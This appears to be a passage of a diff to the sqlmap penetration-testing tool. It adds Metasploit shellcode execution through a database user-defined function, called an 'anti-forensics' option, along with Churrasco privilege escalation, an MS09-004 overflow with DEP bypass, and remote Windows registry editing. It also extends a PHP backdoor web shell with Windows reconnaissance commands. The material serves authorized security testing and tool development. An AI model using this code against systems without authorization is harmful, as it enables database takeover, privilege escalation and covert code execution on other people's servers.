uploaderUrl = uploaderUrl.replace("./", "/") uploaderUrl = uploaderUrl.replace("./", "/").replace("\\", "/").replace("//", "/")
uplPage, _ = Request.getPage(url=uploaderUrl, direct=True) uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in uplPage: if "sqlmap backdoor uploader" not in uplPage:
@@ -252,14 +250,11 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
if not output or output[0] in ( "y", "Y" ): if not output or output[0] in ( "y", "Y" ):
# TODO: add also compiled/packed Churrasco for Windows 2008 # TODO: add also compiled/packed Churrasco for Windows 2008
wFile = "%s/tokenkidnapping/Churrasco.exe" % paths.SQLMAP_CONTRIB_PATH wFile = os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe")
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True)) self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
self.cmdFromChurrasco = True self.cmdFromChurrasco = True
# NOTE: no need to handle DEP for Churrasco executable because
# it spawns a new process as the SYSTEM user token to execute
# the executable passed as argument
self.writeFile(wFile, self.churrascoPath, "binary", confirm=False) self.writeFile(wFile, self.churrascoPath, "binary", confirm=False)
return True return True
@@ -309,28 +304,52 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
self.initEnv() self.initEnv()
self.getRemoteTempPath() self.getRemoteTempPath()
self.createMsfPayloadStager()
self.uploadMsfPayloadStager()
if kb.os == "Windows": goUdf = False
# NOTE: no need to add an exception to DEP for the payload
# stager because it already sets the memory to +rwx before
# copying the shellcode into that memory page
#self.handleDep(self.exeFilePathRemote)
if conf.privEsc and kb.dbms == "MySQL": if kb.dbms in ( "MySQL", "PostgreSQL" ):
msg = "how do you want to execute the Metasploit shellcode "
msg += "on the back-end database underlying operating system?"
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
msg += "\n[2] Stand-alone payload stager (file system way)"
while True:
choice = readInput(msg, default=1)
if isinstance(choice, str) and choice.isdigit() and int(choice) in ( 1, 2 ):
choice = int(choice)
break
elif isinstance(choice, int) and choice in ( 1, 2 ):
break
else:
warnMsg = "invalid value, valid values are 1 and 2"
logger.warn(warnMsg)
if choice == 1:
goUdf = True
if goUdf is True:
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
else:
self.createMsfPayloadStager()
self.uploadMsfPayloadStager()
if kb.os == "Windows" and conf.privEsc:
if kb.dbms == "MySQL":
debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, no need to privilege escalate" debugMsg += "user, no need to privilege escalate"
logger.debug(debugMsg) logger.debug(debugMsg)
elif conf.privEsc and kb.dbms == "PostgreSQL": elif kb.dbms == "PostgreSQL":
warnMsg = "by default PostgreSQL on Windows runs as postgres " warnMsg = "by default PostgreSQL on Windows runs as postgres "
warnMsg += "user which has no Windows Impersonation " warnMsg += "user which has no Windows Impersonation "
warnMsg += "Tokens: it is unlikely that the privilege " warnMsg += "Tokens: it is unlikely that the privilege "
warnMsg += "escalation will be successful" warnMsg += "escalation will be successful"
logger.warn(warnMsg) logger.warn(warnMsg)
elif conf.privEsc and kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0] warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0]
warnMsg += "runs as Network Service which has no Windows " warnMsg += "runs as Network Service which has no Windows "
warnMsg += "Impersonation Tokens within all threads, this " warnMsg += "Impersonation Tokens within all threads, this "
@@ -350,7 +369,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
# system is not Windows # system is not Windows
conf.privEsc = False conf.privEsc = False
self.pwn() self.pwn(goUdf)
def osSmb(self): def osSmb(self):
@@ -424,11 +443,134 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
infoMsg += "buffer overflow (MS09-004)" infoMsg += "buffer overflow (MS09-004)"
logger.info(infoMsg) logger.info(infoMsg)
# NOTE: only needed to handle DEP
self.initEnv(mandatory=False, detailed=True) self.initEnv(mandatory=False, detailed=True)
self.getRemoteTempPath() self.getRemoteTempPath()
self.createMsfShellcode() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
self.overflowBypassDEP()
self.bof() self.bof()
self.delException()
def __regInit(self):
stackedTest()
if kb.stackedTest == False:
return
self.checkDbmsOs()
if kb.os != "Windows":
errMsg = "the back-end DBMS underlying operating system is "
errMsg += "not Windows"
raise sqlmapUnsupportedDBMSException, errMsg
self.initEnv()
self.getRemoteTempPath()
def regRead(self):
self.__regInit()
if not conf.regKey:
default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
msg = "which registry key do you want to read? [%s] " % default
regKey = readInput(msg, default=default)
else:
regKey = conf.regKey
if not conf.regVal:
default = "ProductName"
msg = "which registry key value do you want to read? [%s] " % default
regVal = readInput(msg, default=default)
else:
regVal = conf.regVal
infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal)
logger.info(infoMsg)
return self.readRegKey(regKey, regVal, False)
def regAdd(self):
self.__regInit()
errMsg = "missing mandatory option"
if not conf.regKey:
msg = "which registry key do you want to write? "
regKey = readInput(msg)
if not regKey:
raise sqlmapMissingMandatoryOptionException, errMsg
else:
regKey = conf.regKey
if not conf.regVal:
msg = "which registry key value do you want to write? "
regVal = readInput(msg)
if not regVal:
raise sqlmapMissingMandatoryOptionException, errMsg
else:
regVal = conf.regVal
if not conf.regData:
msg = "which registry key value data do you want to write? "
regData = readInput(msg)
if not regData:
raise sqlmapMissingMandatoryOptionException, errMsg
else:
regData = conf.regData
if not conf.regType:
default = "REG_SZ"
msg = "which registry key value data-type is it? "
msg += "[%s] " % default
regType = readInput(msg, default=default)
else:
regType = conf.regType
infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
infoMsg += "with data '%s'. " % regData
infoMsg += "This will work only if the user running the database "
infoMsg += "process has privileges to modify the Windows registry."
logger.info(infoMsg)
self.addRegKey(regKey, regVal, regType, regData)
def regDel(self):
self.__regInit()
errMsg = "missing mandatory option"
if not conf.regKey:
msg = "which registry key do you want to delete? "
regKey = readInput(msg)
if not regKey:
raise sqlmapMissingMandatoryOptionException, errMsg
else:
regKey = conf.regKey
if not conf.regVal:
msg = "which registry key value do you want to delete? "
regVal = readInput(msg, default=default)
if not regVal:
raise sqlmapMissingMandatoryOptionException, errMsg
else:
regVal = conf.regVal
message = "are you sure that you want to delete the Windows "
message += "registry path '%s\%s? [y/N] " % (regKey, regVal)
output = readInput(message, default="N")
if output and output[0] not in ( "Y", "y" ):
return
infoMsg = "deleting Windows registry path '%s\%s'" % (regKey, regVal)
infoMsg += "This will work only if the user running the database "
infoMsg += "process has privileges to modify the Windows registry."
logger.info(infoMsg)
self.delRegKey(regKey, regVal)

View File

@@ -98,7 +98,7 @@ if (isset($_REQUEST["sysinfo"])) {
echo "<b>Operating system</b><br><pre>" . @PHP_OS; echo "<b>Operating system</b><br><pre>" . @PHP_OS;
echo "</pre><b>Server uname</b><br><pre>" . php_uname(); echo "</pre><b>Server uname</b><br><pre>" . php_uname();
echo "</pre><b>Server uptime</b><br><pre>"; echo "</pre><b>Server uptime</b><br><pre>";
echo ex("uptime"); echo (!$win) ? ex("uptime") : ex("net statistics server");
echo "</pre><b>Server time</b><br><pre>"; echo "</pre><b>Server time</b><br><pre>";
echo date("D, M d, h:iA"); echo date("D, M d, h:iA");
echo "</pre><b>Disk space</b><br><pre>"; echo "</pre><b>Disk space</b><br><pre>";
@@ -118,12 +118,13 @@ if (isset($_REQUEST["sysinfo"])) {
echo "</pre><b>Memory information</b><br><pre>"; echo "</pre><b>Memory information</b><br><pre>";
echo ex("cat /proc/meminfo"); echo ex("cat /proc/meminfo");
echo "</pre><b>Open ports and active connections</b><br><pre>"; echo "</pre><b>Open ports and active connections</b><br><pre>";
echo ex("netstat -nat"); echo (!$win) ? ex("netstat -nat") : ex("netstat -ano");
echo "</pre><b>Network devices</b><br><pre>"; echo "</pre><b>Network devices</b><br><pre>";
echo ex("/sbin/ifconfig -a"); echo (!$win) ? ex("/sbin/ifconfig -a") : ex("ipconfig /all");
echo "</pre><b>Processes</b><br><pre>"; echo "</pre><b>Processes</b><br><pre>";
echo ex("ps auxfww"); echo (!$win) ? ex("ps auxfww") : ex("tasklist");
echo "</pre>"; echo "</pre>";
echo ($win) ? "<b>Network use</b><br><pre>".ex("net use")."</pre><b>Network share</b><br><pre>".ex("net share")."</pre><b>Network user</b><br><pre>".ex("net user")."</pre>" : "";
} }
else if(isset($_REQUEST["phpinfo"])) { else if(isset($_REQUEST["phpinfo"])) {

View File

@@ -52,12 +52,12 @@ headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
# HTTP Authentication type. Useful only if the target url requires # HTTP Authentication type. Useful only if the target url requires
# HTTP Basic or Digest authentication and you have such data. # HTTP Basic, Digest or NTLM authentication and you have such data.
# Valid: Basic or Digest # Valid: Basic, Digest or NTLM
aType = aType =
# HTTP Authentication credentials. Useful only if the target url requires # HTTP Authentication credentials. Useful only if the target url requires
# HTTP Basic or Digest authentication and you have such data. # HTTP Basic, Digest or NTLM authentication and you have such data.
# Syntax: username:password # Syntax: username:password
aCred = aCred =
@@ -262,7 +262,19 @@ limitStart = 0
# retrieve them until the last) # retrieve them until the last)
limitStop = 0 limitStop = 0
# SQL SELECT query to be executed. # First query output word character to retrieve
# Valid: integer
# Default: 0 (sqlmap will enumerate the query output from the first
# character)
firstChar = 0
# Last query output word character to retrieve
# Valid: integer
# Default: 0 (sqlmap will enumerate the query output until the last
# character)
lastChar = 0
# SQL statement to be executed.
# Example: SELECT 'foo', 'bar' # Example: SELECT 'foo', 'bar'
query = query =
@@ -271,6 +283,16 @@ query =
sqlShell = False sqlShell = False
[User-defined function]
# Inject custom user-defined functions
# Valid: True or False
udfInject = False
# Local path of the shared library
shLib =
[File system] [File system]
# Read a specific file from the back-end DBMS underlying file system. # Read a specific file from the back-end DBMS underlying file system.
@@ -324,6 +346,30 @@ msfPath =
tmpPath = tmpPath =
[Windows]
# Read a Windows registry key value
regRead = False
# Write a Windows registry key value data
regAdd = False
# Delete a Windows registry key value
regDel = False
# Windows registry key
regKey =
# Windows registry key value
regVal =
# Windows registry key value data
regData =
# Windows registry key value type
regType =
[Miscellaneous] [Miscellaneous]
# Retrieve each query output length and calculate the estimated time of # Retrieve each query output length and calculate the estimated time of

Binary file not shown.

View File

@@ -29,6 +29,7 @@
<current_user query="CURRENT_USER()"/> <current_user query="CURRENT_USER()"/>
<current_db query="DATABASE()"/> <current_db query="DATABASE()"/>
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'"/> <is_dba query="(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'"/>
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'"/>
<users> <users>
<inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/> <inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
<blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/> <blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
@@ -138,6 +139,7 @@
<current_user query="CURRENT_USER"/> <current_user query="CURRENT_USER"/>
<current_db query="CURRENT_DATABASE()"/> <current_db query="CURRENT_DATABASE()"/>
<is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)"/> <is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)"/>
<check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
<users> <users>
<inband query="SELECT usename FROM pg_user"/> <inband query="SELECT usename FROM pg_user"/>
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/> <blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
@@ -151,8 +153,8 @@
<blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END), (CASE WHEN usesuper THEN 1 ELSE 0 END), (CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/> <blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END), (CASE WHEN usesuper THEN 1 ELSE 0 END), (CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>
</privileges> </privileges>
<dbs> <dbs>
<inband query="SELECT schemaname FROM pg_tables"/> <inband query="SELECT datname FROM pg_database"/>
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/> <blind query="SELECT DISTINCT(datname) FROM pg_database OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(datname)) FROM pg_database"/>
</dbs> </dbs>
<tables> <tables>
<inband query="SELECT schemaname, tablename FROM pg_tables" condition="schemaname"/> <inband query="SELECT schemaname, tablename FROM pg_tables" condition="schemaname"/>